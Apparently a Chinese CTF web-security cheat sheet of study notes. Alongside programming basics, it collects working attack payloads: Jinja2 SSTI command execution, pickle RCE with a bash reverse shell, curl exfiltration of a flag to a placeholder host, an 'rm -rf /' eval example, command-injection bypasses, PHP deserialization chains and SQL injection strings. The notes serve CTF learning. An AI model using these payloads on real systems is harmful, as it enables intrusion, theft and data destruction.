Featured image of post WEB笔记

WEB笔记

寻找文件:/tmpenv/etc/passwd

找文件名:find / -name "*flag*.txt"

工具

HackBar

1
2
3
4
5
6
devtools
X-Forwarded-For: 127.0.0.1 // 只允许本机登录
// 识别通过HTTP代理或负载均衡器连接到Web服务器的客户端的原始IP地址
User Agent: // 向服务器发出请求的客户端软件
Referer: // 链接到当前请求页面的前一个网页的URL
Cookie: xx=xx // 有时根据提示输入

Post data

1
xx=xx&xx=xx

Burpsuite

Intruder模块:可以多线程对URL或data中的参数进行爆破

数据包结尾空2行

dig

用于从域名系统(DNS)服务器中收集信息,在线网站:https://tool.lu/dns/index.html

扫描工具

  • 扫描web目录,扫描目标:git泄露、源代码泄露

dirsearch

1
2
python3 dirsearch.py -u http://xx.com:xx -x 403,301,302,429 -t 10 # 忽略403,301,302,429
-e php # 选择扫描

dirmap

1
python3 dirmap.py -i http://target -lcf # 单目标

GitHack

  • .git泄露利用,重建还原源代码
1
python3 GitHack.py http://xxx/.git/ # 会在目录下得到源代码

Linux

远程命令绕过

1
2
ping x:x:x:x ; ls
ping xxx | ls

敏感文件

1
2
3
4
5
6
7
8
/etc/passwd
/etc/shadow
/etc/hosts
/proc/net/arp //arp表,可以获得内网其他机器的地址
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config

%00截断

操作系统层漏洞,OS由C语言编写,以\0作为字符串结尾,修改数据包插入\0达成截断,可绕过软 WAF 白名单限制

Python

基础知识

1
2
3
4
5
6
7
for index, num in enumerate(num_list): # num_list = [xx, xx]
    xxx # 可以获取索引和内容
secure_filename(file_name) # 清理文件名,去除潜在恶意字符
files.seek(0) # 重置文件指针到开头
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S') # 格式化输出时间
uuid.uuid4() # 通用唯一标识符(Universally Unique Identifier)
os.environ # 查看系统环境变量

排列组合

1
2
3
from itertools import permutations
flag = ["a", "b", "c"]
item = permutations(flag)

图片处理

1
2
3
mimetypes.guess_type(file_path)[0] # 根据文件路径扩展名推断MIME类型
with Image.open(file_path) as img: # 图片打开 返回img对象
    mime = img.get_format_mimetype() # 获取MIME类型

1
2
def __repr__(self) -> str: # 重写自我描述信息, print时打印内容
    return f"xxx"

Flask

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
app = Flask(__name__, template_folder='another') # 初始化flask应用 
# 默认html模版文件在templates文件夹中, 此处指定为another
app.config['some'] = xxx # 配置
app.run(host='0.0.0.0', port=5000) # 启动应用

@app.route('/hello', methods=['POST']) # 设置路由及函数
def func():
    if xx not in request.files: # files是字典
        return '错误信息', 400 # 状态码
    return redirect(url_for('index')) # 重定向到主页
    return render_template("index.html", id = "xx") # 返回模版及id参数
    
request.method # "POST"
request.files.get('key', None) # 字典找键, 未找到返回None

Jinja2-模板引擎

1
2
3
4
5
6
7
8
9
# 自定义模板加载
env = Environment(loader=FileSystemLoader('static'), autoescape=True)
# 加载方式: FileSystemLoader 从 static 文件夹中加载模板文件".html"等
# autoescape=True 安全机制:  XML/HTML 自动转义特殊字符防止XSS攻击

# 重定义 渲染函数
def render_template(template_name, **context): # context是关键字参数, 如name="Alice", age=30
    template = env.get_template(template_name) # 加载模板
    return template.render(**context) #  context 字典渲染模板

Debug命令执行

  • Flask框架,已知PIN码的情况下,访问http://xxx.xxx/console进入控制台输入PIN码进行RCE
  • debug模式开启,报错会泄露源码及后台路径
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import os
os.chdir('path') # 切换目录
os.remove(file) # 删除文件
os.rmdir(directory) # 删除目录
os.makedirs('xx', exist_ok=True) # 创建目录 目标已存在不会抛出异常
os.path.exists('x') # 判断目录是否存在
for path, dirs, files in os.walk(folder, topdown=False): # 分别返回目录路径, 当前目录所有子目录名, 当前目录所有文件名, 从下到上遍历
file_save_path = os.path.join(folder, file) # 构建文件保存路径
file.save(file_save_path) # 文件保存在路径中
os.path.relpath(file_path, folder]) # 将文件绝对路径替换为关于folder的相对路径
# debug终端下, 直接输入os.system('xx')只会返回0, 表示成功
import subprocess

# 命令列表形式传入
result = subprocess.run(['cat', 'flag'], 
            stdout=subprocess.PIPE,  # 捕获标准输出
            stderr=subprocess.PIPE)  # 捕获标准错误
print(result.stdout.decode())  # 显示 cat flag 命令输出

SSTI模板注入

  • flask框架,Server-Side Template Injection,服务端模板注入

Jinja2

3种语法

1
2
{% %} {# 控制结构 #}
{{ }} {# 变量取值 #}

内置函数及属性

1
2
3
4
5
__class__ # 调用的参数类型
__bases__ # 基类列表
__subclasses__() # 子类列表
__globals__ # 字典形式返回函数所在全局命名空间所定义的全局变量
__builtins__ # 内建模块引用

漏洞点

1
2
3
# {{id | safe}} 中 safe 表示值直接插入到HTML中, 不做任何转义, 可造成SSTI攻击
evil = content.replace('{{id | safe}}', id) # 将模板内容中的{{id | safe}}替换为id
return render_template_string(evil) # 将替换后的字符串作为Jinja2模板渲染

测试是否是SSTI:{{7 * 7}} 是否返回 49{{7+7}}是否返回14

os模块执行命令

1
2
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
# 配置对象 > 类 > 初始化构造函数 > 全局命名空间 > os.popen('whoami').read() 执行命令

列举目录

1
2
{# 列举目录 #}
{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/') }}

绕沙箱读取服务器代码

1
2
3
4
5
6
7
8
9
{# 空列表[] > list类 > 基类object > 所有object子类 #}
{% for c in [].__class__.__base__.__subclasses__() %}
   {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
   {% endif %}
{% endfor %}

{# payload #}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

绕过

  • 有黑名单过滤

字符串拼接

1
2
3
'o'+'s'
'__imp'+'ort__'
'/fl'+'ag'

反序列化漏洞

Pickel序列化及反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species

pet = Pet(name, species)

# 序列化
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")

# 反序列化
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)

RCE payload构造

1
2
3
4
5
6
7
class exp:
    # # __reduce__() 序列化时返回一个元组(可调用函数和参数元组),反序列化时参数传递调用该函数
    def __reduce__(self): 
        return (os.system, ("whoami",))

malicious_payload = pickle.dumps(exp())
encoded_payload = base64.b64encode(malicious_payload).decode('utf-8')

无回显时考虑替换全局变量,在网页中的某变量中显示信息

1
2
3
4
class exp:
    def __reduce__(self):
        return (exec, ('import os; global store; store = os.environ["FLAG"]',))
# python在局部改变全局变量时需要声明 global

过滤

1
2
pickle_data = base64.b64decode(data)
for i in {"os","system","eval","setstate","globals",'exec','__builtins__','template', 'render','\\','compile','requests','exit','pickle',"class","mro","flask","sys","base","init","config","session"}:

利用subprocess

1
2
return (subprocess.check_output, (["cp", "/flag", "/app/app.py"],)) # 直接返回命令的标准输出
return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/$ip/$port 0>&1"],)) # 反弹shell

文件包含漏洞

1
2
# 直接访问服务器内部某端口文件
http://xxx/image?url=http://localhost:5728/image/flag.jpg 

爬虫

网页请求

网页请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': 'application/json'
}

proxies = { # 代理查看http包
    'http': 'http://127.0.0.1:8080',
    # 'https': 'https://https_proxy:port'
}

data = {
    "arg1":"val1",
    "arg2": "val2",
    "arg3": f"{a_variable}"
}

# get
response = requests.get("https://url", headers=headers, cookies=cookies)
# post
response = requests.post("http://127.0.0.1:32585", headers=headers, json=data, proxies=proxies) # json形式上传
response = requests.post("http://127.0.0.1:32585", headers=headers, data=data, proxies=proxies) # xx=xx&xx=xx形式上传

cookies = response.cookies # 获取cookies
if response.status_code == 200:
    print(response.text)
    print(cookies.get_dict())
else:
    print(f"状态码: {response.status_code}")

爬虫匹配

1
2
3
4
5
6
7
8
from bs4 import BeautifulSoup

soup = BeautifulSoup(html_content, 'html.parser')
h1_tag = soup.find('h1', id='status')  # <h1 id="status">

if h1_tag:
    status_text = h1_tag.get_text(strip=True) # 获取标签内容并去除多余空白
    print(status_text)

路径遍历漏洞

1
xxx.com?path=../../../../../../../../etc/passwd

PHP

环境搭建,在PHPSTUDY中的WWW界面下放入文件夹及代码即可

基础知识

php版本7.3.22爬虫,首先检查robots.txt(表示网站不希望哪些页面被爬取), source.txt

  • 隐藏源码:x.php.swp
  • 变量覆盖可以窃取信息

一些基础代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0); // 关闭所有错误报告
session_start(); // 允许脚本访问和修改用户的会话数据
ob_start(); // 开启输出缓冲,不从脚本发送任何输出

include("file.file"); // 此文件包含file.file所有变量范围 
include_once "xx.php"; // 指定文件载入并执行其中程序,若文件已被包含则不再包含

highlight_file("xx.php"); // 将PHP代码高亮显示在网页
isset() // 判断一个变量是否已被设置, 且不为 null

$arr=array($x, "1"); // 数组[ $x, "1" ]
$$x = $y; // $x="user", $y="admin", 则 $user = "admin"

strpos($content, $string); // 返回string在content第一次出现的索引, 否则返回false
trim(addslashes($v)); // 去除首尾空白字符, 对", ', \, NULL添加反斜杠

// PHP 数组或对象编码为 JSON 格式的字符串
echo json_encode(array('status' => 0, 'info' => 'hello'));

putenv("{$k}={$v}"); // 定义环境变量
# url传参: ?env[xxx]=`xxx`

unset($arr); // 清除变量

system("bash -c 'ls'"); // 命令执行

die('FAIL'); // 终止程序并输出
exit($hh); // 会输出$hh变量值
exit; // 终止脚本执行

// 终端 php xx.php 执行

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// a变量值
$_POST['a']; // post请求 若为数组某值构造 : a[xxx]=xxx
$_GET['a'];  // get请求
// 循环处理
foreach ($_POST as $k=>$v); // $k键, $v值

// 黑名单
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
if(preg_match("/{$BlackList}/is",$post['query'])){}; // s使.可匹配换行符\n防止换行绕过关键字过滤

preg_match('/flag/', $_GET['a'])// 检查是否存在匹配 flag 的子串
// /flag/i   i 忽略大小写匹配, 即FlaG也会匹配
@preg_match("/^[a-zA-Z0-9]+\.$/", $b)
// [a-zA-Z0-9]+   [x]: 表示匹配其中任何一个字符  +: 匹配前面一次或多次
// \.: 匹配 .  因为只有 . 是匹配任何字符, 此处转义 {6}:至少重复6次,可不连续
// @表示隐藏报错 ^$锚定开头和结尾


header('Content-Type: ' . $mime_type); // 设置指定 HTTP 响应头

网络编程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ch = curl_init(); // 初始化 cURL 会话句柄

// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);             // 请求的url
curl_setopt($ch, CURLOPT_HEADER, false);         // 不获取响应头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  // 返回响应内容,不直接输出到控制台
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  // 自动跟随重定向 URL
    
$res = curl_exec($ch); // 执行 cURL 请求
curl_close($ch);

图片处理

1
2
3
$image_info = getimagesizefromstring($res); // 解析二进制数据, 获取图片信息
// 返回7值数组: [宽度][高度][图像类型常数之一][height="yyy" width="xxx"][bits:每种颜色的位数][MIME 类型]
$mime_type = $image_info['mime'];

文件读写

1
2
$content = file_get_contents("filename.txt");
file_put_contents("filename.txt", "New content");

PHP伪协议

URL格式:scheme://user:password@address:port/path?query#fragment

data://

PHP>=5.2.0,可使用data://数据流封装器传递数据

1
2
3
4
$a = $_POST['a'];
if (file_get_contents($pen) !== 'hello')
data://text/plain,hello        读取出 'hello'
data://text/plain;base64,xx    xx Base64 解码后读出内容

php://filter 读取源代码并进行base64编码输出

1
2
include($a);
?a=php://filter/read=convert.base64-encode/resource=flag.php

命令执行

Linux下命令:

  • ls替代:dir
  • 空格绕过:<, ${IFS}, $IFS$9, %09, <>, <, %20, $IFS
  • cat命令替代:more, tail, head, less, nl, sort, tailf
  • 截断字符替代:&&, ||, ;, %0a, |
  • 反斜杠绕过:ca\t fl\ag.txt
  • 编码绕过:echo 'a==' | base64 -d
  • 单双引号绕过:c'a't, c"a"t
  • 通配符绕过:f?ag, f*, f[a-z]ag, f{l,b}ag
1
2
shell_exec("nslookup " . $domain);
// &quot;为"的html形式

若匹配flag,查看目录下文件内容

1
cat `ls` 

环境变量注入实现命令执行

  • BASH_ENV:可以在bash -c的时候注入任意命令
1
BASH_ENV='$(id 1>&2)' bash -c 'echo hello' # 将输入id以及hello

注入时对命令中字母进行编码绕过可在Linux下执行

1
2
3
# cat flag 字母转换: oct(ord('c'))[2:]
# 每个字节前加上$
$'\143'$'\141'$'\164' $'\146'$'\154'$'\141'$'\147'

反弹shell命令

  • 使用花生壳,内网为kali地址及端口,外部为某域名
  • kali中nc -lnvp 5555即可
1
cat /flag | curl -d @- https://xx.xx.xx.xx:port # @-表示从标准输入读取, -d指定发送数据

远程命令执行

RCE,Remote Command Execution

1
eval($_POST['what']);

利用

1
2
3
4
5
what=<?php system('rm -rf /'); ?> // 删除系统所有文件
what=echo getcwd(); // 查看当前目录
what=print_r(scandir(getcwd())); // 查看当前目录所有文件和目录
what=print_r(scandir('../'));    // 查看上一目录所有文件和目录
what=echo file_get_contents('filename.txt'); // 查看文件内容

无参函数RCE

1
2
3
4
5
6
7
8
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd))
// 禁用协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd))
// 只能为无参函数嵌套形式: func(fun(h()));
if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd))
// 黑名单过滤cmd

@eval($cmd);

**getallheaders()绕过————**返回当前请求的所有请求头信息(限Apache)

var_dump(end(getallheaders()));测试是否可以获取到返回信息

1
2
3
4
5
?cmd=eval(end(getallheaders())); // url

// 及在burp数据包下最后一行加入以下任何一个进行命令执行
sky: phpinfo();
sky: system("ls");

常见绕过

MD5绕过

  • MD5 碰撞:两个不同的字符串 MD5 哈希值相等

php弱类型比较: 构造md5值为0e开头的科学计数法

1
if ($name != $password && md5($name) == md5($password))

payload:

1
2
3
4
5
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a

php强类型比较: 构造数组

1
2
if ($name !== $password && md5($name) === md5($password))
// 0e字符串无法绕过 而 md5 函数传入数组的返回值都是NULL

payload:

1
url: password[]=2&name[]=1

MD5哈希爆破

1
2
3
4
from hashlib import md5
for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest() == 'xxxx':
        print(i)

字符绕过

1
2
3
4
5
if (!is_numeric($a) && !is_numeric($b)) { // a和b不是数值
    if ($a == 0 && md5($a) == $b[$a]){}
} // 可以通过 a = false = 0

if($a > 99) // a = 100abc也可通过且可绕过in_numeric

哈希函数绕过

1
hash_hmac('sha256', $a, $b); // $a为数组时,加密结果固定为NULL

反序列化漏洞

序列化

  • 序列化:对象转换为字节序列,为保存对象方便重用
  • 反序列化:字节序列恢复为对象
1
2
$c = serialize($arr);
$a = unserialize($_GET['data']); // 已序列化的字符串还原为PHP的原始数据类型或对象

序列化格式

1
2
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

类型字母

1
2
3
4
5
6
a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

魔术方法

当这些方法在某个类test中,如只有在test类中含有__invoke,某函数将对象当作函数调用触发才成功

1
2
3
4
5
6
7
8
public function __construct(){} // 构造函数 new一个类实例对象时调用
public function __destruct(){} // 析构函数 某对象的所有引用都被删除或对象被显式销毁时执行
public function __invoke(){} // 尝试将对象当作函数调用时触发
public function __set($a, $b){} // 魔术方法: 尝试给一个不存在或不可访问的属性赋值时被调用
// $a: 属性名 $b: 值
public function __toString(){} // 当对象被当作字符串使用时调用 比如 echo一个对象
public function __wakeup(){}   // 序列化字符串被反序列化时调佣
public function __sleep(){}    // 对象被序列化时调用

对象注入漏洞

操作序列化的对象来执行任意代码

个条件:

  • 必须具有一个实现PHP魔术方法的类
  • 攻击中使用的所有类都必须在调用易受攻击的unserialize()时声明

代码构造出序列化串

1
2
3
4
5
6
7
8
<?php
class Name{
	private $user = 'admin'; // 私有字段名在序列化时,类名及字段名前会加入\0
}
$test = new Name;
print(serialize($test)); 
// O:4:"Name":1:{s:10:"Nameuser";s:5:"admin";}
// 构造更新: O:4:"Name":1:{s:10:"%00Name%user";s:5:"admin";}

绕过

  • 属性个数的值大于实际属性个数时,会跳过 __wakeup() 函数执行

例题——moectf2024【pop moe】

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data'])){
    $a = unserialize($_GET['data']);
}

构造链的过程:

__destruct() > check()【payl0ad为1】 > 【what为class001】对象作为函数调用 > __invoke() > 【payl0ad为dangerous, a为class001】为不存在的payload赋值 > __set(payload, dangerous) > dangerous(this->sec) > 【sec为class003, 作为whaattt执行->evvval(class003)】 > 对象作为字符串 > __toString()返回mystr【mystr为执行的命令】 > eval(mystr)

最终构造的data展开:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
O:8:"class000":2:{
    s:7:"payl0ad";i:1;
    s:4:"what";O:8:"class001":2:{
        s:7:"payl0ad";s:9:"dangerous";
        s:1:"a";O:8:"class002":1:{
            s:3:"sec";O:8:"class003":1:{
                s:5:"mystr";s:10:"phpinfo();";
            };
        };
    };
}

假设没有eval函数的情况,使用system(ls)命令进行RCE

字符注入

mb_strposmb_substr连用导致字符注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function substrstr($data){
    $start = mb_strpos($data, "["); // 字符 "[" 首次出现的索引, 否则false
    $end = mb_strpos($data, "]");
    
    return mb_substr($data, $start, $end + 1 - $start);// 多字节字符集的子字符串提取
}   // '[' 开始 ']' 结束的所有字符

$key = substrstr($_GET[0]."[helloJshirobro]"); // 注入点
echo $key
// ?0=%9f              start=0, end=6, key=?[hello ?是字符乱码
// ?0=%f0              start=1, end=7, key=llo]
// ?0=%9f%9f%9f%9fabcd start=4, end=10, key=abcd[he
// ?0=%f0abc%9f        start=4, end=10, key=ello] 效果类似右移(3-1)位
// %f0abc%0abc%9f:效果为右移(2*3-1)位

任意字符串构造

  • %9f不解析,造成字符串后移一位:%9f数量等于要构造的字符串长度%9f%9fab
  • **%f0吞掉字符串三位:%f0加随便三个字符,结合%9f的后移,%f0abc%9f**达到字符串逃逸

注:substrtr函数逃逸出的字符不能大于原来的字符数量,此时可通过其他GET传入增加字符数量

payload构造:

1
?get1=(增加字符数量, 任意值)&read=(n个%9f)(序列化字符串)

增长字符逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
function filter($str){
    return str_replace('bb', 'ccc', $str); // n个bb将会多n个字符
}

class A{
    public $name='aaaabb';
    public $pass='123456';
}

$AA=new A();
echo serialize($AA)."\n"; 
// O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";} 
echo filter(serialize($AA));
// O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
// s 多一个字符, 但只能解析6个, 逃逸了一个c

通过逃逸修改pass,payload为25个字符,即前加入25个’bb’,每个逃逸一个字符

1
2
3
$name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}'
//$name: ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
//$pass: hack       

例题——NepCTF2024【PHP_MASTER!!】

打入payload:URL( 47个%00, 即47个’\0’ 增长型字符逃逸)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0123%f0123%f0123%9f%9f%f0123&nep=Nep
// ";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}} 长度为47 增长逃逸47字符
<?php
function substrstr($data){
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start); // 变式
}

class B
{
    public $b;
    public function __tostring(){
        if (preg_match("/\[|\]/i", $_GET['nep'])) {
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1'] . "[welcome to" . $_GET['nep'] . "CTF]");
        // 原: %f0123%f0123%f0123%9f%9f%f0123[Welcome toNepCTF]
        // 后: str = NepCTF] 效果:右移3*3个,左移2次,右移3个
        if ($str === 'NepCTF]') {
            return ($this->b)(); // b为phpinfo, 可以执行phpinfo;
        }
    }
}
class C
{
    public $s;
    public $str;
    public function __construct($s){
        $this->s = $s;
    }

    public function __destruct(){
        echo $this->str; // str为对象, 将对象作为字符串输出调用_tostring
    }
}
$ser = serialize(new C($_GET['c']));
// $_GET['c']: ";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}绕过
// $ser: O:1:"C":2:{s:1:"s";s:94:"";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}";s:3:"str";N;}
$data = str_ireplace("\0", "00", $ser); // 不区分大小写 字符串替换
// $data: O:1:"C":2:{s:1:"s";s:94:"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}";s:3:"str";N;}
unserialize($data);

此时构建的结构为:

1
2
3
4
5
6
O:1:"C":2:{
    s:1:"s";s:94:"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
    s:3:"str";O:1:"B":1:{
        s:1:"b";s:7:"phpinfo";
    }
} ";s:3:"str";N;} 忽略了

SSRF漏洞

漏洞点

1
2
3
4
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
$res = curl_exec($ch); // 获取指定 URL 内容并输出

特殊文件协议

1
http://target.com/script.php?url=file:///etc/passwd #尝试让服务器本身执行命令

文件上传漏洞

文件操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    
    $uploadDir = "uploads/"; // 上传目录
    if (!file_exists($uploadDir)) {
        mkdir($uploadDir, 0777, true); // 创建目录
    }

    if (!empty($_FILES['image']['name'])) {
        // $_FILES 超级全局数组, 专用于处理文件上传
        $fileName = basename($_FILES['image']['name']); // 文件名
        
        $allowedTypes = ['image/jpeg', 'image/png', 'image/gif']; // 文件验证
        $fileType = $_FILES['image']['type'];
        if (!in_array($fileType, $allowedTypes)) {
            die('Error: Unsupported file type.');
        }

        $maxSize = 2 * 1024 * 1024; // 2MB
        $fileSize = $_FILES['image']['size']; // 文件大小限制
        if ($fileSize > $maxSize) {
            die('Error: File size is too large.');
        }

        // 构建完整文件路径
        $filePath = $uploadDir . $fileName; // . 用于PHP字符串拼接

        // 移动文件到指定目录
        if (move_uploaded_file($fileTmpName, $filePath)) {
            echo "上传图片在:" . $filePath;
        } else {
            echo "上传失败";
        }
    } else {
        echo "无文件上传";
    }
}

过滤

1
2
3
4
$ext = pathinfo($file_name, PATHINFO_EXTENSION); // 获取扩展名
if(in_array($ext, ['x','x'])){
	exit('no');
}

上传一句话木马到相应目录中,且该目录可通过URL访问,使用蚁剑连接【url为文件地址,密码为post中数据】

https://www.cnblogs.com/ash-33/p/16397536.html中有一些一句话木马

图片木马

cmd中运行copy pho.png/b+hello.php/a hack.png将图片和php木马结合

文件上传抓包

将下面filename改为hack.php即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Content-Type: multipart/form-data; boundary=---------------------------1104904014997412098933705552
Content-Length: 727
DNT: 1
Connection: close
Referer: http://127.0.0.1:40349/
Priority: u=0

-----------------------------1104904014997412098933705552
Content-Disposition: form-data; name="image"; filename="hack.php"
Content-Type: image/png
xxxxxx
-----------------------------1104904014997412098933705552--

php拓展名

  • .php3.php4.php5.php7.phtml.phps.pht

SQL注入漏洞

MySQL中的注释:

  • #,直接加注释内容,有时需要注意可能被解析为页内跳转,所以使用%23
  • ----注释符后需要加一个空格,注释才能生效
  • /* */,多行注释符
  • -+,注释变体

php连接mysql

1
2
3
4
5
6
7
8
9
$pwd = $_POST['pwd'];
$pwd = md5($pwd);
    
$conn = mysqli_connect("主机名", "用户名", "密码", "数据库名", 端口); // 变量填$password
if($conn){
    die("Mysql connect error");
}
// 选择数据库
$selectDB = mysqli_select_db($conn, $dbName);

sql fuzz:使用https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/xplatform.txt中的数据结合 burpsuite 进行模糊测试

漏洞点

1
2
3
4
5
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);

if ($row) {}

此处可使用payload

  1. 万能密码型:admin' or 1 = 1#
    1. SELECT * FROM admin WHERE email='a@e.com'OR 1 = 1# AND pwd='$pwd'
  2. 联合型:b' UNION SELECT * FROM admin WHERE 1 = 1--
    1. SELECT * FROM admin WHERE email='a@e.com' UNION SELECT * FROM admin WHERE 1 = 1-- AND pwd='$pwd'
  3. 万能密码2型:admin' = ''-- 即 False=’’ 恒成立
    1. SELECT * FROM admin WHERE email='a@e.com' = ''-- AND pwd='$pwd'

拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$sql = "select ".$post['query']."||flag from Flag"; // ||默认为或运算符,未使用预处理语句
mysqli_multi_query($conn, $sql);

do{
    if($res = mysqli_store_result($conn)){ // 获取查询结果
        while($row = mysqli_fetch_row($res)){ // 逐行获取查询结果并打印
            print_r($row);
        }
    }
}while(@mysqli_next_result($conn)); // 支持多条SQL语句执行
  • 查看数据表Flag所有列内容,且添加一个由列flag的值与1拼接/异或后生成的新列获取flag值,视不同sql而不同
1
2
3
4
5
6
7
8
# *,1
select *,1||flag from Flag;
+----+------+-----------+
| id |  x   | 1 || x    |
+----+------+-----------+
|  1 |  abc | 1||abc    |
|  2 |  xyz | 1||xyz    |
+----+------+-----------+
  • 修改||为拼接,将返回1flag{xxx}
1
2
# 1;set sql_mode=PIPES_AS_CONCAT;select 1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;

预处理语句

1
2
3
$stmt = $conn->prepare("SELECT ? FROM Flag");
$stmt->bind_param("s", $post['query']);
$stmt->execute();

联合注入

验证查询返回列

  • union select
1
2
UNION SELECT 1, 2 # 报错: The used SELECT statements have a different number of columns
UNION SELECT 1, 2, 3 # 一个一个试出原始查询语句返回列数, 成功则1,2,3将填入相应回显字段中
  • order by
  • group by
1
2
3
group by 3
order by 3 # 更改数字,表示以第几列进行排序
# 报错: Unknown column '3' in 'order clause' 则表示有2列字段数

基础信息

1
2
version() # 数据库版本信息
database() # 数据库名

爆破全部数据库

1
union select 1,2,group_concat(schema_name) from information_schema.schemata%23

查数据库中表

1
2
3
4
5
6
7
# 在第三个回显中显示数据库表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 
# group_concat: 查询结果逗号连接成字符串
# table_name: 是系统数据库information_schema.tables中一个字段
# table_schema: 表所属数据库名称
# database(): 当前连接的数据库名称

对表查列字段

1
union select 1,2,group_concat(column_name)from information_schema.columns where table_name='leak_table_name'

对数据表爆数据

1
union select 1,2,group_concat(leak_column_name1, '-', leak_column_name2) from data_base_table_name #  from data_base_name.dtable_name

堆叠注入

  • 利用 ; 在原SQL查询后追加新语句(有时需将前语句闭合)

测试

1
2
3
4
5
1; show databases; # 获取数据库
1; show tables; # 查看所有数据表
# 继续查看表x和表123中内容
show columns from x; 
